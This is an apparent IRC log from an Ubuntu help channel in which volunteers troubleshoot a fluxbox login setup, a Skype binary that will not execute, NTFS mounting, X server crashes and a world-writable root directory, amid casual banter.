[01:10] <Fused> It has "/usr/bin/startfluxbox" in those contents, but there is no "startfluxbox"
[01:10] <meoblast001> wth is a LUG?
[01:10] <IndyGunFreak> meoblast001: your local LUG is a good place to start
[01:10] <Jordan_U> meoblast001: Linux user group
[01:10] <IndyGunFreak> meoblast001: linux user group
[01:10] <Yancho> Jordan_U server restarted but it did not auto start :( however if i run the script it works
[01:10] <ethana2> jrib: i know it has something to do with my filesystem--  and I have a GParted 0.3.7-7 LiveCD right here....
[01:10] <meoblast001> i'll ask my LoCo
[01:10] <td123> meoblast001: you did not just say "﻿why cant i just download a CD burner" omg, that's gotta be the stupidest thing you can say
[01:10] <jrib> meoblast001: sure
[01:11] <ScheissDrogen> ﻿ferran_: boot into live, make shure hd isn't mounted, see man e2fsck
[01:11] <Jordan_U> td123: It was a joke
[01:11] <IndyGunFreak> meoblast001: where do you live?
[01:11] <jrib> IndyGunFreak: scary :)
[01:11] <meoblast001> IndyGunFreak: ohio
[01:11] <Fused> jrib: Do you know how to fix that issue?
[01:11] <td123> meoblast001: you don't know it yet, but your quote is tomarrow's digg head line
[01:11] <usser> td123, actually its not, as the old saying goes any hardware can be emulated by software and vice versa
[01:11] <meoblast001> im not telling you anymore
[01:11] <almostdvs> firefox does a search from my isp when something is typed into the location bar that is not an address. On windows it does an I'm feeling lucky search. How do i obtain the same functionality
[01:11] <meoblast001> td123: what quote?
[01:11] <IndyGunFreak> meoblast001: you should have a local lug there.
[01:11] <td123> meoblast001: ﻿why cant i just download a CD burner
[01:11] <jrib> Fused: edit it.  It's leftover from the repository's version of fluxbox because you didn't purge it
[01:12] <ethana2> almostdvs: i have a friend with the same problem
[01:12]  * IndyGunFreak thought everybody had at least a CD burner nowdays
[01:12] <td123> usser: I don't think you understand the context
[01:12] <ScheissDrogen> meoablast: seee !usb for an adventure...
[01:12] <meoblast001> td123: yay.. at least a website will love me for a day
[01:12] <Fused> Edit what?
[01:12] <Fused> There's no startfluxbox in /usr/bin/
[01:12] <Fused> but there is a startfluxbox in /usr/local/bin/
[01:13] <mrkiko> And after some troubles with disk mappings, I'm back again
[01:13] <Fused> Should I just change it to go there instead?
[01:13] <jrib> Fused: exactly
[01:13] <kitche> Fused: yep
[01:13] <Fused> Okay.
[01:13] <vinu76jsr> almostdvs: its doing same in linux
[01:13] <k3rnelpanic> ScheissDrogen: 2 files didnt download during upgrade for whatever reason. everything else dl'ed fine. i tried different pkgs and they downloaded no problem. i have no idea why that happened, do you?
[01:13] <usser> td123, nope no context our prof presented it as an absolute truth... i was being ironic though nvm
[01:13] <DOT3CH> anyone familiar with using the screenlet manager?
[01:13] <mrkiko> kitche: thank for your help. How did you learn the libata fact?
[01:13] <Jordan_U> td123: I think you are the one who does not understand the context actually...
[01:13] <almostdvs> vinu76jsr: it does an i'm feeling lucky search for you?
[01:13] <k3rnelpanic> ScheissDrogen: i'll try to download them again just to see if its different, i think it was my connection for some reason cause they didnt download not even in xp
[01:13] <td123> meoblast001: ok so here's the summary of what you have to do, get an ubuntu cd (not corrupt) and use it. If you don't have friends get some, if that fails, find a lug, if the lug dislikes you also, install windows and tattoo "FAIL" on your forehead
[01:14] <Fused> Okay. Edited.
[01:14] <vinu76jsr> almostdvs : ya
[01:14] <meoblast001> td123: my mom said she'd try to sneak a CD burner from work to borrow
[01:14] <Fused> So now it should work properly, correct?
[01:14] <IndyGunFreak> meoblast001: PM me your address(if you're comfortable), i'll drop you a CD in the mail tomorrow.
[01:14] <vinu76jsr> but as you know there nmust be a space in your search
[01:14] <kitche> mrkiko: umm it's pretty well known definitely to the people that actually used/work on a Linux Distro
[01:14] <ScheissDrogen> ﻿k3rnelpanic:  changed sources.list ?   sudo apt-get update && sudo apt-get upgrade
[01:14] <td123> Jordan_U: how do I not understand the context of my conversation with meoblast001
[01:14] <meoblast001> ok
[01:14] <meoblast001> i win
[01:15] <BAD^man^> hello
[01:15] <meoblast001> my moms coworker who uses the cd burner never even uses the cd burner
[01:15] <td123> meoblast001: yes, yes you do, now finish your cookie
[01:15] <BAD^man^> can anyone tell how to mount a vista partiion please for a laptop??
[01:15] <mrkiko> kitche: Oh... I try to read and inform myself more as possible on the kernel, since I'm interested on it, but I never knew this fact..
[01:15] <meoblast001> ok that was worded weird
[01:15] <meoblast001> but the CD burner should be attatched to my moms coworkers computer
[01:15] <vinu76jsr> in ubuntu it is automounted after a clean shutdown
[01:15] <k3rnelpanic> ScheissDrogen: i tried to download them manually from here http://packages.ubuntu.com/hardy/i386/usplash-theme-ubuntu/download and here http://packages.ubuntu.com/hardy/i386/brasero/download and no go
[01:15] <meoblast001> and its not even plugged in
[01:15] <sepilko> kuko
[01:15] <IndyGunFreak> meoblast001: well, if it doesn't work out,t he offer stands
[01:15] <k3rnelpanic> in both ubuntu and xp
[01:16] <almostdvs> vinu76jsr: that's odd, mine still does an isp search. people keep saying it's my isp's fault but it doesn't do this in windows
[01:16] <usser> BAD^man^, sudo ntfs-3g /dev/<part_name> /mountpoint
[01:16] <Jordan_U> td123: <IndyGunFreak> meoblast001: why can't you just download the Cd ? <meoblast001> IndyGunFreak: why cant i just download a CD burner
[01:16] <meoblast001> IndyGunFreak: i dont need more ppl tapping on my windows
[01:16] <IndyGunFreak> meoblast001: why the hell would i tap on your windows?
[01:16] <BAD^man^> usser: funny it dont work...does it need the username / password login of vista?
[01:16] <meoblast001> IndyGunFreak: who knows
[01:16] <usser> BAD^man^, if u used bitlocker on vista then its gonna fail
[01:17] <Nutzebahn> Does anyone know of any programs other than Audacity that can convert FLAC files to MP3? (Audacity won't work)
[01:17] <usser> BAD^man^, but other than that all should be well, what does it say?
[01:17] <IndyGunFreak> meoblast001: well, i've mailed cd's to people in this room many times, and i can assure you, i keep my ass out of ohio, but it makes no difference to me.
[01:17] <Fused> Guys, that didn't work.
[01:17] <usser> Nutzebahn, ffmpeg
[01:17] <glitsj16> almostdvs: in firefox, go to the about:config page, and check the value of the keyword.URL key
[01:17] <ScheissDrogen> ﻿k3rnelpanic:  http://pastebin.com/f7f2015ab  , expect from the partners repo  yours should look similar
[01:17] <Jordan_U> Nutzebahn: mencoder
[01:17] <olivier> hi
[01:17] <Fused> It said something about my session lasted less than 10 seconds, and if I didn't log myself out, there was an error or something.
[01:17] <Fused> I'm about to check the log.
[01:17] <Nutzebahn> Something with a GUI.
[01:17] <BAD^man^> hmm bitblocker...hmmm i think thats on by default on the sony laptop
[01:17] <BAD^man^> anything with a gui?
[01:17] <td123> Jordan_U: consider that the characters came from meoblast001's keyboard
[01:17] <meoblast001> IndyGunFreak: well.. my friend isnt even allowed to have ubuntu on his computer
[01:17] <vinu76jsr> how to update from gutsy to hardy
[01:17] <vinu76jsr> http://tuxecute.blogspot.com/2008/04/how-to-upgrade-from-gutsy-to-hardy.html
[01:17] <Dougy> Is there any app like MS Infopath for Linux?
[01:17] <Dougy> I need an app that does forms like that
[01:17] <usser> BAD^man^, a gui?
[01:17] <Dougy> :)
[01:17] <NeoStrider> hey folks...whats the best replacement for timidity for pulse-audio?
[01:17] <BAD^man^> i tried the one in gnome but it does not list the sda2 partition
[01:17] <IndyGunFreak> meoblast001: are you puttting this on your cmoputer, or on your friends?
[01:17] <meoblast001> my friends
[01:18] <meoblast001> he wants it
[01:18] <Yancho> Jordan_U server restarted but it did not auto start :( however if i run the script it works - any idea what i can do please? if in init.d one of the scripts fail .. does it stop the loading of the rest?
[01:18] <meoblast001> but his mom wont let him
[01:18] <meoblast001> IndyGunFreak: she said "no one even knows what ubuntu is" lolololol
[01:18] <vinoo> hey, can you guys help me? i have ubuntu installed in a hd with grub, i want to be able to boot from arch, in another disk, with this grub
[01:18] <Jordan_U> td123: To clarify things, do you or do you not realize that he was being sarcastic?
[01:18] <pld> you cant
[01:18] <td123> Jordan_U: of course I don't know that
[01:18] <almostdvs> glitsj16: http://www.google.com/search?btnI=I%27m+Feeling+Lucky&q=
[01:19] <mrkiko> vinoo: huffff
[01:19]  * td123 eagerly awaits Jordan_U's response
[01:19] <BAD^man^> its sda2 but it wont list in the storage devince under the control center....its very weird
[01:19] <almostdvs> glitsj16: i just changed that like 15 min ago; does it require a ff restart?
[01:19] <tico> Hi. I've ran: mkntfs -v /dev/sda1 and it says Time: jiffies clocksource has been installed and now its stuck there but I see hard drive activity. Is it formatting now?
[01:19] <vinoo> mrkiko, hm?
[01:19] <BAD^man^> all moms are retards dont remind me!!!!!!!!!!!!1
[01:19] <mrkiko> BAD^man^: ... fdisk?
[01:19] <glitsj16> almostdvs: i guess not, should be active straight away
[01:19] <olivier> i'm looking for help. i have problem with /libstdc++.so.5 library.
[01:19] <BAD^man^> wont list it
[01:20] <mrkiko> BAD^man^: may be your disk uses a strange partition table type
[01:20] <BAD^man^> oh yea
[01:20] <BAD^man^> it does
[01:20] <BAD^man^> with a * since where the bootloader is installed....
[01:20] <mrkiko> What partition table type are you using?
[01:20] <td123> BAD^man^:  you mean all mom's are technically challenged?? (well, at least 98%) :D
[01:20] <meoblast001> Wubi crashed a milion times on his computer
[01:20] <meoblast001> not recommending that ever again
[01:20] <BAD^man^> it does..its a laptop the partition is looped i cannot access the recvery parition but who cares..i want to access the vista parition
[01:20] <Dougy> Is there any app like MS Infopath for Linux? I need an app that does forms like that.
[01:20] <BAD^man^> td: lol
[01:20] <jrib> vinoo: do you happen to have a separate partition for /boot?
[01:21] <BAD^man^> start block at 2320
[01:21] <td123> meoblast001: what do you use for your desktop computer?
[01:21] <vinoo> jrib, no =/
[01:21] <BAD^man^> very beginging of the disk...man i cant type......
[01:21] <vinu76jsr> vmaware for hardy????
[01:21] <meoblast001> td123: me or my friend?
[01:21] <td123> meoblast001: you
[01:21] <BAD^man^> i love ubuntu!!!! btw...
[01:21] <vinu76jsr> vmware player for hardy???
[01:21] <clouder`grr> When I do dpkg-reconfigure xserver-xorg it never asks me about display, just about my keyboard and then quits.  How do I get it to ask me about screen resolution and such?
[01:21] <olivier> i'm looking for help. i have problem with /libstdc++.so.5 library.
[01:21] <glitsj16> almostdvs: that keyword.URL key has a related boolean one called "keyword.enabled" that must be set to true for the former to work ..
[01:21] <meoblast001> td123: Ubuntu Hardy Haron
[01:21] <usser> vinu76jsr, yes
[01:21] <almostdvs> glitsj16: it is
[01:21] <olivier> anybody can help me, please
[01:21] <jStefan> !channel
[01:21] <vinu76jsr> how to install it
[01:22] <td123> meoblast001: so you should have a spare cd from the install right?!??!?!?!
[01:22] <jStefan> !irc
[01:22] <Fused> jrib: I can't seem to find anything about why it wouldn't have started up.
[01:22] <Fused> :\
[01:22] <jrib> vinoo: hmm, I have the same setup but setup a separate partition.  I'm not sure what the best way to do it is if it's on a different partition.  This may be easy for #grub though
[01:22] <meoblast001> td123: i used a flash drive when i had it..... and dell sent me a cd burner that broke very quickly... in other words... if my computer crashes.... im f*cked
[01:22] <jrib> Fused: are you sure fluxbox works?
[01:22] <vinu76jsr> how to install vmware player in hardy, earlier it was in repos but now no luck
[01:22] <Neo_> hello all, i need a tad bit of help with samba
[01:22] <john_> d
[01:22] <vinoo> jrib, ok, danke
[01:22] <olivier> alguien que me pueda ayudar ?
[01:22] <Neo_> the folks in #samba are dead
[01:22] <jrib> !es | olivier
[01:23] <ScheissDrogen> !paste > ﻿ RYknow
[01:23] <Fused> fluxbox works when I type it in..
[01:23] <BAD^man^> but samba is not..ohhhh!d
[01:23] <tico> Hi. I've ran: mkntfs -v /dev/sda1 and it says Time: jiffies clocksource has been installed and now its stuck there but I see hard drive activity. Is it formatting now?
[01:23] <Fused> It just won't open up since it already has a window manager working.
[01:23] <olivier> #ubuntu-es
[01:23] <Ensamblador> !es > Ensamblador
[01:23] <td123> meoblast001: ok, so this is your mission, go buy a cd writer or get friends that will let you burn ubuntu
[01:23] <Neo_> for some reason i can't access my shares from one server, but i can access them from another computer...
[01:23] <LjL> olivier: /join #ubuntu-es
[01:23] <usser> vinu76jsr, http://czarism.com/easy-peasy-vmwareplayer-vmplayer-ubuntu-hardy-804
[01:23] <olivier> thanks
[01:23] <Ensamblador> !paste | Ensamblador
[01:23] <usser> vinu76jsr, first link on google
[01:23] <mrkiko> !es
[01:24] <grobda24> Is Xchat window --> ignore list supposed to block nicks in all tabs ?
[01:24] <NeoStrider> FYI - wildmidi replaces timidity on pulse-audio
[01:24] <meoblast001> td123: my mom is borrowing one from her work since her coworker (the one who is supposed to use it), doesnt even keep it plugged in and never uses it
[01:24] <BAD^man^> this gene and wolverine x-men scene is hootttttt
[01:24] <Fused> Hm.. I guess I can attempt it again.
[01:24] <BAD^man^> sorry *ahem*
[01:24] <jrib> Fused: well you don't know if the thing you compiled is broken somehow.  I would start in fluxbox without going through gdm and see what happens (use startx, see the docs)
[01:24] <td123> meoblast001: ok, then don't touch anything on anyone's computer till you have a verified cd
[01:25] <usser> BAD^man^, its offtopic, but we have a channel for that #ubuntu-offtopic
[01:25] <Fused> startx `which fluxbox` -- :1?
[01:25] <BAD^man^> lol im in
[01:25] <BAD^man^> what about the ntfs parition?
[01:25] <meoblast001> td123: why cant kdenlive play video on my screen
[01:25] <meoblast001> its all blue
[01:25] <meoblast001> compiz?
[01:25] <td123> meoblast001: turn off visual effects
[01:26] <meoblast001> that shouldnt be necessary
[01:26] <meoblast001> but i will
[01:26] <td123> did you spell kdenlive right, or do you mean kde?
[01:26] <usser> meoblast001, let me guess intel?
[01:26] <jrib> Fused: http://fluxbox-wiki.org/index.php/Start_fluxbox_from_the_command_line
[01:26] <meoblast001> sadly
[01:26] <meoblast001> usser: im going nvidia next time
[01:26] <vinu76jsr> I means isn't there a deb or something, for some reason these methods not worked really wel on my old machine
[01:26] <usser> meoblast001, or ati
[01:26] <td123> meoblast001: it can be a ton of things, it's like saying whats wrong with the mouse, it doesn't work
[01:27] <meoblast001> all the hardware i have i bought when i had windows
[01:27] <usser> meoblast001, but ait is way to far in the future
[01:27] <tico> how long would you say mkntfs would take to format a 160gb drive?
[01:27] <meoblast001> AHHHH
[01:27] <Fused> jrib: Should I input the "exec /etc/X11/Xsession /usr/bin/startfluxbox" line, along with the 2nd part of the "http://fluxbox-wiki.org/index.php/GDM" file (the talk about "sudo gedit /usr/share/xsession/fluxbox.desktop" for Ubuntu/Debian users)?
[01:28] <meoblast001> KdenLive---- the most buggy piece of software you have to have
[01:28]  * td123 is done trolling :D
[01:28] <Fused> Because all I had was the 2nd part. I thought it meant to overwrite the "exec" with the 2nd part of that.
[01:28] <jrib> Fused: I don't understand what you just said.  Do what you are proposing and pastebin it to show me
[01:28] <botoxx> did somebody know how i can boost my alsa sound ??? i want more then 100%
[01:28] <td123> meoblast001: oh ya, that, don't you know that kde 4 is still really buggy, compared to say gnome
[01:29] <jrib> hmm % percent hmm
[01:29] <meoblast001> td123: i hate KDE
[01:29] <Spacy> hi all - got small but really strange problem - i've been working with linux for years, i'm even developing in variuous high level languages but this one got me.
[01:29] <botoxx> did somebody know how i can boost my alsa sound ??? i want more then 100% please please help me
[01:29] <jrib> !repeat | botoxx
[01:29] <meoblast001> td123: but there apps are easy to use and have a lot of features
[01:29]  * meoblast001 cries
[01:29] <meoblast001> not litterally
[01:30] <td123> meoblast001: you know that you can use kde apps within gnome desktop?
[01:30] <Jordan_U> Spacy: Well don't just leave us hanging :)
[01:30] <meoblast001> td123: uhhh.. thats what im doing
[01:30] <Fused> http://gpaste.com/p/b986f
[01:30] <Fused> That's what I'm saying, jrib.
[01:30] <td123> meoblast001: you said you were using kdelive
[01:30] <meoblast001> td123: i said KdenLive is buggy... i didnt say i was running KDE
[01:30] <Spacy> I'm trying to start an app (skype) and bash tells me, "No such file or directory" - the file is there i can ls -al it, i can cat skype>skype2 it, file skype shows its an elf exe, but if i exec /usr/bin/skype its telling me the file isn't there
[01:30] <Sverre^> ??
[01:30]  * BAD^man^ HMM
[01:31] <BAD^man^> i still dont understand why cant i mount
[01:31] <BAD^man^> oh crap
[01:31] <td123> meoblast001: ***ugh stop adding in details irrelevant to the conversation GRRR
[01:31] <BAD^man^> i think i destroyed it
[01:31] <Spacy> i even straced skype first line is "execve("/usr/bin/skype", ["skype"], [/* 17 vars */]) = -1 ENOENT (No such file or directory)"
[01:31] <BAD^man^> the partion
[01:31] <jrib> Fused: the top one
[01:31] <Spacy> I guess it's a wrong interpretation of something, but i don't get it . anybody an idea?
[01:31]  * td123 is now done trolling (For real this time.).
[01:31] <botoxx> OMG
[01:31] <Fused> That's what I have right now.. but it didn't work.
[01:32] <Fused> Let me see if I can c&p the error log.
[01:32] <jrib> Fused: get rid of those comments at the top though, they don't really make sense
[01:32] <favro> Fused: what does   which startfluxbox   return?
[01:32] <Jordan_U> Spacy: Can you run script and pastebin what exactly you are doing to try to run skype and the errors it gives etc ?
[01:33] <meoblast001> td123: what do KDE and Fedora have in common?
[01:33] <tico> I ran mknfts about 15 min ago and now it started to say 1%, is this normal?
[01:33] <Dougy> ntfs :(
[01:34] <MasterFruityLoop> tico: Probably not. Reboot.
[01:34] <MasterFruityLoop> Try again.
[01:34] <Fused> jrib: http://gpaste.com/p/5bf8f is what the error file looks like that Fluxbox referred me to.
[01:35] <vinu76jsr> i m using pidgin
[01:35] <tico> MasterFruityLoop: just to make sure, its not been at 1% for 15 minutes, it took 15 min for 1% to show.
[01:35] <vinu76jsr> anybody tell me how to me change a channel
[01:35] <tico> MasterFruityLoop: reboot still?
[01:35] <jrib> Fused: where?
[01:36] <Fused> .xsession-errors
[01:36] <jrib> Fused: yes, where is the issue?
[01:36] <DOT3CH> anyone know anything up setting up a keyboards hot keys
[01:36] <Fused> I don' tknow.
[01:36] <DOT3CH> on here
[01:36] <Fused> *don't
[01:36] <Fused> That's what the thing told me to look in.
[01:36] <jrib> Fused: try what I suggested before with .xinitrc
[01:36] <Fused> O_o;
[01:36] <Fused> What did you suggest?
[01:37] <grobda24> DOT3CH, I've seen it on the Ubuntu wiki.
[01:37] <Lucifer> anyone know anything about glade/ GTK+?
[01:37] <jrib> Fused: do this first: http://fluxbox-wiki.org/index.php/Start_fluxbox_from_the_command_line
[01:37] <DOT3CH> ok
[01:37] <jrib> Lucifer: best to just ask the channel your question
[01:37] <Lucifer> ok
[01:37] <Jordan_U> Spacy: Why is the first thing that skype does to exec itself?
[01:38] <Lucifer> I used ubuntu on a virtual machine....I sorta had some problems resizing glade
[01:38] <Lucifer> normally, I wouldn't care, but since glade isn't resized
[01:38] <Lucifer> properly,
[01:38] <Spacy> Jordan_U: It isn't? btw. the script is at http://spacy.homeip.net/skype.script
[01:38] <Lucifer> I don't have access to some of the functions
[01:38] <Lucifer> any ideas?
[01:38] <jrib> Lucifer: does it happen outside of a virtual machine?
[01:38] <Lucifer> well
[01:38] <Lucifer> the reason I'm using a VM
[01:38] <jrib> Lucifer: don't use enter to break up your thoughts as it makes it harder to follow what you are saying
[01:38] <vinu76jsr> gotta go restart
[01:38] <Lucifer> well
[01:38] <Lucifer> I don't use linux
[01:39] <Lucifer> regularly
[01:39] <Lucifer> (vista user)
[01:39] <Lucifer> I was in .dll hell
[01:39] <FloodBot2> Lucifer: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[01:39] <MasterFruityLoop> tico: Yes... that doesn't sound right... could be a driver interference. Happens with my computer all the time.
[01:39] <jrib> (stop pressing enter)
[01:39] <Lucifer> k
[01:39] <jrib> Lucifer: take a screenshot, it's hard to understand what is wrong
[01:39] <Lucifer> k
[01:40] <tico> MasterFruityLoop: if it keeps happening, what can i do?
[01:40] <Fused> fused@fused-desktop:/usr/local/bin$ echo "exec startfluxbox" > ~/.xinitrc
[01:40] <zhaowm> whnat
[01:40] <Fused> After I did that
[01:40] <zhaowm> what
[01:40] <Fused> fused@fused-desktop:/usr/local/bin$ came back.
[01:40] <Fused> So that should be done, right?
[01:41] <MasterFruityLoop> Try it from command line...
[01:41] <zhaowm> restart
[01:41] <MasterFruityLoop> I mean, go down to just the command line.
[01:41] <MasterFruityLoop> No UI.
[01:41] <MasterFruityLoop> Try it then.
[01:41] <MasterFruityLoop> But, after a reboot, of course.
[01:41] <Spacy> Jordan_U: How come you think skype executes itself? The strace line? the first one should always be the execve call from bash ;) (Working example: execve("/bin/ls", ["ls"], [/* 22 vars */]) = 0)
[01:42] <Fused> fused@fused-desktop:~$ startfluxbox
[01:42] <Fused> /home/fused/.fluxbox/startup: 12: /usr/bin/fbsetroot: not found
[01:42] <Fused> exec: 47: /usr/bin/fluxbox: not found
[01:42] <tico> MasterFruityLoop: I am in a command line, its running in a script, ive created a rescue cd
[01:42] <jrib> Fused: that's ok... Now drop to a tty (ctrl-alt-f1) and do 'startx -- :1'.  ctrl-alt-f7 should get you back here but let the new X load first and see what happens
[01:43] <Fused> Okay.
[01:43] <Spacy> anybody else wants to join this bug hunt xD
[01:43] <timma> hello, I have "ERROR: / is world writable!"  when I type "sudo ufw enable"
[01:43] <moosen> I'm having some problems with my X-server here, was wondering if someone might help me configure it correctly, or find the bug. Here is my xserver config and my lspci listing: http://pastie.org/266380
[01:43] <zhaowm> sudo and su?
[01:43] <Fused> Okay.. It gave some errors.
[01:44] <jrib> timma: why is / world writable?
[01:44] <tico> MasterFruityLoop: should i paste the script?
[01:44] <zhaowm> Hello, FUSED
[01:44] <Jordan_U> timma: What is the output of "ls -ld /" ?
[01:44] <jrib> !who | Fused
[01:44] <timma> jrib, I a new to ubuntu and firewalls, so I do not know
[01:44] <moosen> the problem is that when I play something in the video player the xserver crashes completely and doesn't reboot
[01:44] <Fused> Okay.
[01:44] <zhaowm> ubuntu,It's my other os
[01:44] <jrib> timma: have you ever run a command with "chmod" in it?
[01:44] <wildrussian> What the best book to read about Linux and goes in detail about Ubuntu
[01:45] <Lanlost> grrr
[01:45] <zhaowm> before now,I used win
[01:45] <Fused> This is just a general question, though, jrib..
[01:45] <jrib> wildrussian: help.ubuntu.com
[01:45] <Lanlost> I still can't figure out how to clear any space on /
[01:45] <zhaowm> chmod u+x?
[01:45] <timma> Jordan_U drwxrwxrwx 21 root root 4096 2008-09-01 11:25 /
[01:45] <MasterFruityLoop> tico: send it to me, privately.
[01:45] <zhaowm> chmod 777?
[01:45] <Fused> I'm just trying to figure out why it will not work.
[01:45] <timma> jrib yes
[01:45] <Lanlost> I've had this problem for like 3 days now... I'm using the disk usage analyzer.. but none of it makes any sense to me..
[01:45] <Fused> MasterFruityLoop: The 'startx -- :1'
[01:45] <Fused> didn't work
[01:45] <Jordan_U> timma: Ok, that is very bad
[01:45] <jrib> Fused: I can't help you if I don't see your responses
[01:45] <Fused> er *jrib
[01:45] <Lanlost> I mean.. I understand what it is showing and everything.. but the information it gives isn't correct..
[01:46] <Fused> Sorry, jrib.
[01:46] <zhaowm> jrib,may I make friend with you
[01:46] <jrib> Fused: yes, but you said it gave you errors.  What are they?
[01:46] <timma> Jordan_U what part?
[01:46] <Lanlost> It says / is 100% used.. but it includes /usr and /home and stuff under that.. which I have mounted to different partitions
[01:46] <Lanlost> I'm just so confused.. I haven't added any software for probably a week.. haven't installed any new hardware or anything
[01:46] <Jordan_U> timma: / should not be writable by all users, it is a huge security vulnerability
[01:46] <yanghongchao> 什么LINUX学习好呢？
[01:47] <zhaowm> 终于来了个中国人
[01:47] <Lanlost> and I have always had like 20% free on /.. and all of a suddon now I can't even open synaptic or brasero or like any program because I don't have any space on /
[01:47] <yanghongchao> 使用什么LINUX学习好哦
[01:47] <zhaowm> ubuntu
[01:47] <yanghongchao> 大家有在的吗？我想学习用呢？
[01:47] <jrib> !zh
[01:47] <zhaowm> 我在啊
[01:47] <moosen> do you guys have any idea about what I should do to find out why my xserver is crashing?
[01:47] <jrib> moosen: does it fail to load?
[01:47] <yanghongchao> 想学习SEVER
[01:47] <yanghongchao> 在阿
[01:48] <zhaowm> sorry
[01:48] <jrib> yanghongchao: english only here
[01:48] <yanghongchao> 哈哈，中文吧，英文不懂的哦
[01:48] <zhaowm> Here,must be eng
[01:48] <zhaowm> !zh,what's the meaning?
[01:48] <lenswipe> anyone know anything about tilda here?
[01:48] <Schuenemann> !cn
[01:48] <lenswipe> tilda tilda tilda tilda
[01:49] <moosen> jrib, the totem video player causes it to crash to a black screen where ctrl-alt-bkspc or ctrl-alt-f1 won't respond
[01:49] <ircleuser> CAN ANYBODY SHED SOME LIGHT ON AN UBUNTU INSTALL??
[01:49] <zhaowm> ubottu is a robot?
[01:49] <warriorforgod> j/clear
[01:49] <Fused> jrib: It basically returns this error:
[01:49] <lenswipe> ircleuser: what do u want to know?
[01:49] <Fused> /home/fused/.fluxbox/startup: 12: /usr/bin/fbsetroot: not found
[01:49] <Fused> exec: 47: /usr/bin/fluxbox: not found
[01:49] <jrib> ircleuser: fix your capslock
[01:49] <Spacy> Jordan_U: Still there? :)
[01:49] <b3z3rk3r> what u need help with ircleuser?
[01:49] <Fused> jrib: That's all that I can see it erroring with.
[01:49] <jStefan> zhaowm, http://en.wikipedia.org/wiki/Zh
[01:49] <Jordan_U> Spacy: Yes
[01:49] <lenswipe> I cant get tilda to work
[01:49] <moosen> it happens when the player is used to play mp3s or when it plays videos, and whenever it is embedded in a browser
[01:49] <ScheissDrogen> !brain | ﻿zhaowm
[01:49] <zhaowm> thanks
[01:49] <lenswipe> or it does
[01:49] <lenswipe> except
[01:49] <IMTheNachoMan> someone told me of an app to try on the ubuntu cd to see to check cpu fan usage and all that for my macbook pro...anyone remember it?
[01:49] <lenswipe> it wont take focus when it comes up
[01:49] <ircleuser> Installin ubuntu and i hasd windows on my drive before
[01:49] <lenswipe> anyone knkow how to do that?
[01:50] <Spacy> Jordan_U: Missed my last message? Or no clue? ;)
[01:50] <b3z3rk3r> ircleuser: what version?
[01:50] <ircleuser> as well as various data with ntfs format
[01:50] <zhaowm> ?
[01:50] <ircleuser> id like to avoid losing that data
[01:50] <^paradox^> i need some serious help
[01:50] <bastid_raZor> IMTheNachoMan; lmsensors maybe?
[01:50] <moosen> also, sometimes restarting the xserver with ctrl-alt-backspace will sometimes cause n unresponsive blackscreen instead of bringing up GDM
[01:50] <jrib> moosen:I usually blame video drivers for that.  Which one are you using?
[01:50] <meoblast001> why cant i force an earlier version of kdenlive?
[01:51] <ircleuser> im at the point now where i select how to partition the drive(s)
[01:51] <Jordan_U> Spacy: It's really odd, can you try in dash?
[01:51] <Fused> Can I just do "nano startfluxbox" and change the "/usr/bin/fluxbox" to "/usr/local/bin/fluxbox"?
[01:51] <Fused> jrib: Can I just do "nano startfluxbox" and change the "/usr/bin/fluxbox" to "/usr/local/bin/fluxbox"?*
[01:51] <ircleuser> i have 2 drives
[01:51] <^paradox^> im using xubuntu desktop and ive managed to remove my applications menu from the top panel. how do i put it back?
[01:51] <ircleuser> right
[01:51] <jrib> Fused: you compiled it wrong if that's the case
[01:51] <Fused> Keep forgetting to mention your name with it.
[01:51] <Fused> So I should reinstall it again?
[01:51] <zhaowm> sorry,but i like here.one,I can learn about ubuntu,other, I can study english
[01:52] <ircleuser> i have 2 but theres programs and documents on both
[01:52] <jrib> Fused: you're sure 'startfluxbox' from the repositories is gone right?
[01:52] <IMTheNachoMan> bastid_raZor: thanks..il try that
[01:52] <ircleuser> i want to get rid of my windows installation
[01:52] <Fused> jrib: I didn't get this version from the Ubuntu repository. It came straight from http://www.fluxbox.org/download
[01:52] <ircleuser> its damaged
[01:52] <Schuenemann> ircleuser, congrats
[01:52] <jrib> Fused: yes, I know.  But is startfluxbox leftover from before?
[01:52] <ircleuser> but i have documents and programs i wanna save
[01:53] <Fused> Not that I know of.
[01:53] <ircleuser> any way to do that
[01:53] <ircleuser> ?
[01:53] <Jordan_U> Spacy: I see you tried ./skype so it shouldn't matter, but what is in your PATH ?
[01:53] <Fused> It could be.. but I don't think so..
[01:53] <jrib> Fused: does there exist one in /usr/bin/?
[01:53] <Schuenemann> ircleuser, can't you copy them?
[01:53] <Fused> No.
[01:53] <abarber> I ran a program with the --fullscreen parameter, and it doesn't fit right on the screen, what paramaters can I use to stop it from doing this
[01:53] <^paradox^> anyway to put it back
[01:53] <ircleuser> i cant boot using windows
[01:53] <^paradox^> ?
[01:54] <Schuenemann> ircleuser, you can mount its partition in linux and then copy the stuff you need
[01:54] <Fused> jrib: No, there is only one in /usr/local/bin.
[01:54] <ircleuser> do i just have to give up on one partition?
[01:54] <b3z3rk3r> so u want to use an ubuntu disk to boot, so u cant rescue your files ircleuser?
[01:54] <doggymenz> when is alpha5 announced?
[01:54] <jrib> Fused: try moving the ~/.fluxbox to ~/.fluxbox.old and see if it still happens.  If it does, there's something up with your compile
[01:54] <AliAkgun> Can you explain me logic how must I install SpamAssassin smtpgateway in windows Exchange network.
[01:54] <Spacy> Jordan_U: Basically same result in dash "Not found" - ls works ok. - even though it should not matter: PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[01:54] <ircleuser> erm
[01:54] <Schuenemann> ircleuser, by give up you mean erase the partition?
[01:54] <jrib> AliAkgun: where is ubuntu?
[01:54] <ircleuser> i want to stop using windows all together
[01:55] <ircleuser> but the documents on there i would like to save
[01:55] <AliAkgun> smtpgateway will be
[01:55] <moosen> jrib: http://pastie.org/266380 this is my xserver listing, and under the device section it says "Configured Video Device" which is a little confusing to me. The card is an integrated intel 855GM, and the video modules I see loaded are intel_agp and agpart
[01:55] <ircleuser> and open using wine
[01:55] <Jordan_U> Spacy: That is truly bizarre
[01:55] <Schuenemann> ircleuser, so, you have to mount its partition in linux and then copy the files
[01:55] <Bogus8> is it possible that an update to perl would screw up my irssi scripts?  this is all via apt?
[01:55] <Fused> Okay, jrib, Let me attempt it again.
[01:55] <jrib> moosen: don't know then.  You can check ~/.xsession-errors
[01:55] <methods> how do i change settings like the timeout for my screen going darker on my latop ?
[01:55] <Jordan_U> Spacy: Side effect of a rootkit possibly?
[01:56] <Fused> Thank you, jrib.
